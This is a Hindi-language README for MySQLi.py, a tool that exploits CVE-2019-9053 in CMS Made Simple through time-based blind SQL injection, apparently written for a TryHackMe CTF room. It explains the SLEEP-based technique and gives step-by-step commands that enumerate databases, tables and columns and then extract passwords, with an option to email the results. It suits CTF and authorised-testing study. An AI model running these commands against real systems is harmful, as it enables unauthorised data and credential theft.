
MySQL के लिए समय-आधारित ब्लाइंड SQL इंजेक्शन उपकरण - CVE-2019-9053
MySQLi.py एक व्यक्तिगत अभ्यास परियोजना है, जो Exploit-DB exploit 46635 से प्रेरित है, जिसका उपयोग TryHackMe पर SimpleCTF रूम के दौरान किया गया था।
मूल एक्सप्लॉइट में जिस बात ने मेरा ध्यान खींचा, वह थी क्रेडेंशियल्स निकालने और यहां तक कि पासवर्ड हैश को स्वचालित रूप से क्रैक करने की इसकी क्षमता। इस प्रेरणा के साथ, मैं अपना स्वयं का संस्करण लिखना चाहता था - अधिक आधुनिक, बेहतर इंटरफ़ेस और अधिक अनुकूलन विकल्पों के साथ। हो सकता है कि इस तरह के उपकरण पहले से मौजूद हों, लेकिन मुझे उम्मीद है कि यह छोटा प्रोग्राम नैतिक हैकिंग की दुनिया में एक और योगदान है!
यह उपकरण CVE-2019-9053 का शोषण करता है, जो CMS Made Simple < 2.2.10 में एक भेद्यता है, जो एक अनसैनिटाइज़्ड पैरामीटर को उजागर करता है जो टाइम-बेस्ड ब्लाइंड SQL इंजेक्शन के लिए असुरक्षित है, और इसके लिए कोई प्रमाणीकरण आवश्यक नहीं है। चूंकि वेब प्रतिक्रिया सीधे डेटा नहीं दिखाती है, इसलिए तकनीक IF(SUBSTRING(...), SLEEP(n), 0) शर्तों को इंजेक्ट करके और प्रत्येक कैरेक्टर को डेटाबेस, टेबल, कॉलम और डेटा से एक-एक करके अनुमान लगाने के लिए प्रतिक्रिया समय को मापकर काम करती है।
MySQLi डेमो
pip install -r requirements.txt
--email फ़्लैग का उपयोग करने के लिए, उसी निर्देशिका में एक .env फ़ाइल बनाएँ।
.env.example से टेम्पलेट का उपयोग करें:
[email protected]
GMAIL_PASS=xxxx xxxx xxxx xxxx
पासवर्ड एक Google ऐप पासवर्ड होना चाहिए, न कि आपका सामान्य Gmail पासवर्ड। आप इसे यहाँ जनरेट कर सकते हैं: myaccount.google.com/apppasswords
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] Time-Based Blind SQL Injection for MySQL
Author: Isaac Muñoz - @rgkue | Github: github.com/rgkue/mysqli
Options:
--url <url> Target URL (required)
--mode <mode> Attack mode: database / tables / columns / exfil
--sleep <seconds> Sleep time for time-based injection (default: 5)
--delay <seconds> Delay between requests
--field <name> Vulnerable form field name (default: username)
--max <positions> Max character positions to extract (default: 40)
--table <name> Table name (required for columns/exfil)
--column <name> Column name (required for exfil)
--offset <n> Row offset - 0=first, 1=second... (default: 0)
--email <address> Send results to email (optional)
--output <file> Save data on a file
--help, -h Show this help message and exit
Examples:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email [email protected]
# 1. सक्रिय डेटाबेस का नाम प्राप्त करें
python3 mysqli.py --url http://target/login.php --mode database
# 2. तालिकाओं की सूची बनाएं (पुनरावृत्ति के लिए --offset का उपयोग करें)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. तालिका से कॉलम की सूची बनाएं
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. कॉलम से डेटा निकालें
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. एक कमांड में कई मोड चलाएं
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. परिणाम एक फ़ाइल में सहेजें
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. ईमेल द्वारा रिपोर्ट भेजें
python3 mysqli.py --url http://target/login.php --mode database,tables --email [email protected]
# 8. कस्टम इंजेक्शन फ़ील्ड
python3 mysqli.py --url http://target/search.php --mode database --field search
MySQLi.py विशेष रूप से शैक्षिक उपयोग के लिए और उन वातावरणों के लिए डिज़ाइन किया गया है जहाँ आपके पास सुरक्षा परीक्षण करने की स्पष्ट अनुमति है।
इस उपकरण का उपयोग मालिक की पूर्व लिखित अनुमति के बिना सिस्टम के विरुद्ध करना अवैध है और कई देशों के कानूनों के तहत यह एक आपराधिक अपराध हो सकता है। लेखक इस सॉफ़्टवेयर के दुरुपयोग से होने वाली किसी भी क्षति, डेटा हानि, कानूनी परिणाम, या किसी अन्य नुकसान के लिए जिम्मेदार नहीं है।
इसका उपयोग केवल अपनी प्रयोगशालाओं, CTF वातावरण, TryHackMe या HackTheBox जैसे अभ्यास प्लेटफ़ॉर्म, या उन सिस्टमों में करें जिनका परीक्षण करने के लिए आप अधिकृत हैं।
हैप्पी हैकिंग! :)